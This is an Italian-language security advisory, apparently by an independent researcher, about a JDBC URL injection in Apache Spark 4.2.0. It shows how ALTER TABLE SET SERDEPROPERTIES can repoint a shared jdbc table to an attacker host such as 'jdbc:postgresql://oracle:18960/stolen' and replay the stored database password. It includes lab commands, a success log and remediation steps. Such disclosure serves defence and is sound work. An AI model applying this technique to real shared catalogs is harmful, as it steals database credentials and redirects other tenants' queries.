
Apache Spark 4.2.0 - Alto - Remoto - Iniezione JDBC URL - ALTER TABLE SET SERDEPROPERTIES
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
Classe: JDBC URL injection Portata: Remota
Apache Spark 4.2.0 (32f72996) - Apache Software Foundation
SPARK-31710 ha impedito che le opzioni extra in fase di scansione sovrascrivessero un url JDBC memorizzato. ALTER TABLE SET SERDEPROPERTIES continua comunque a fondersi in storage.properties, che è la mappa delle opzioni di scansione JDBC. I valori memorizzati user / password non sono nomi di opzioni JDBC di Spark, quindi viaggiano verso il nuovo URL.
Un utente SQL su catalogo condiviso può riorientare una tabella USING jdbc provisionata dall'operatore e rigiocare la password del database memorizzata verso un host da lui scelto.
| ID | nessuna CVE al momento |
| Classe | JDBC URL injection / riutilizzo di credenziali memorizzate (residuo di SPARK-31710) |
| Portata | Remota (Connect o Hive Thrift SQL su un catalogo condiviso) |
| CWE | CWE-15, CWE-522 |
| CVSS | Alto: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| Prodotto | Apache Spark |
| Affetto | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) tabelle JDBC SQL v1 |
| Auth | utente SQL su catalogo condiviso (non un jar di job-submit) |
| Licenza | GNU Affero GPL v3.0 |
| Lab | solo 127.0.0.1:18960 |
Una sessione SQL Connect gRPC o una sessione Hive Thrift SQL su un externalCatalog condiviso che possiede già una tabella persistente USING jdbc con credenziali memorizzate. Non un submitter di job. Non la sessione che ha indicato l'URL originale.
| Metodo | Sink | Privilegio |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') poi REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties poi JDBC Driver.connect(url, properties) | Integrità: riorientare la tabella provisionata verso un listener dell'attaccante. Provato in lab (connect=yes). Riservatezza: rigiocare user / password del DB memorizzati nello startup PostgreSQL e nell'autenticazione in chiaro. Provato in lab (user-replay=true password-replay=true). La ricognizione del segreto tramite SHOW CREATE è chiusa (redatta). |
Stessa persistenza, successivo SELECT di un tenant su t | riga del catalogo condiviso | Integrità, dedotta: le query di altre sessioni su t ora colpiscono il nuovo URL (DB sbagliato, righe controllate dall'attaccante). Disponibilità, dedotta: il DB originale è irraggiungibile finché un admin non reimposta il serde. Fuori soglia per DoS. |
Chiavi serde aggiuntive (sessionInitStatement, prepareQuery, driver) | opzioni di scansione sul residuo user / password | Integrità, dedotta: statement extra o un costruttore no-arg di Driver nel classpath. Non gonfiare a RCE senza un gadget nel classpath di default. Non esercitato. |
ALTER TABLE SET TBLPROPERTIES | solo CatalogTable.properties | Chiuso per questo percorso. Provato in lab (storage url invariato, nessun hit sull'oracle). |
Conflitto dell'opzione extra url in fase di scansione | SPARK-31710 generateDatasourceOptions | Chiuso. Provato in lab (extra-options-clash rifiutato). |
spark.read.format("jdbc").option("url", ...) indicato dalla stessa sessione | data-plane previsto | SCARTATO. L'URL controllato dal proprietario non è questo residuo. |
SET SERDE '<class>' su una tabella datasource | nome della classe | Chiuso (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). Non esercitato. |
Adiacenti chiusi: JDBC / percorsi file indicati dalla sessione. Controllo di conflitto di spark.sql.legacy.extraOptionsBehavior. Spark OSS non ha externalOptionsAllowList di Unity. L'URL di CREATE TABLE è controllato dal proprietario (non questo residuo). La redazione dei log degli URL JDBC è incondizionata. Il path delle tabelle file risiede in locationUri. Le connessioni di JDBCTableCatalog provengono dalla conf del catalogo di sessione (stesso data-plane della scelta di un URL). pyspark mono-utente senza catalogo condiviso è fuori dal modello.
Ho fissato Spark 4.2.0, non master e non una RC 4.3. Il job submit su un cluster aperto è by design. I residui interessanti stanno accanto a fix nominati. SPARK-31710 / generateDatasourceOptions rifiuta un url diverso in fase di scansione per una chiave serde esistente. SET TBLPROPERTIES scrive solo table.properties. Le tabelle datasource consentono ancora SET SERDEPROPERTIES e si fondono in storage.properties (++, le chiavi successive vincono). user e password non entrano mai in jdbcOptionNames, quindi asConnectionProperties li passa a Driver.connect.
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE redige password. L'utente SQL non può rileggere il segreto. Può comunque cavalcarlo.
Vicoli ciechi già registrati: trattare l'url di CREATE TABLE come il bug; segnalare di nuovo il conflitto extra-options; aspettarsi che SET TBLPROPERTIES sposti lo storage; sostenere che SHOW CREATE esponga la password; eseguire un cluster completo quando lo Scala citato è un gadget; una reverse shell. L'oracle è uno startup PostgreSQL più autenticazione in chiaro su loopback.
cd lab
./run.sh
Il loopback 127.0.0.1:18960 è un listener del protocollo PostgreSQL. L'health HTTP è 127.0.0.1:18961. Il container gadget è Temurin 21 più libpostgresql-jdbc-java. L'URL memorizzato è jdbc:postgresql://127.0.0.1:1/provisioned (connessione rifiutata). L'URL di attacco è jdbc:postgresql://oracle:18960/stolen. Utente memorizzato spark_jdbc. Password memorizzata stored-secret-SPARK-JDBC-SERDE-URL. Associalo al loopback.
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
Rifiutare le chiavi di SET SERDEPROPERTIES che entrano in conflitto con url / user / password JDBC memorizzati, lo stesso controllo che generateDatasourceOptions esegue già per gli extra in fase di scansione. Oppure scartare user / password memorizzati quando url cambia. Oppure trattare il serde JDBC datasource come proprietà della tabella, non come storage. Fino ad allora, non concedere a SQL non fidato ALTER TABLE su una tabella persistente USING jdbc che memorizza una password.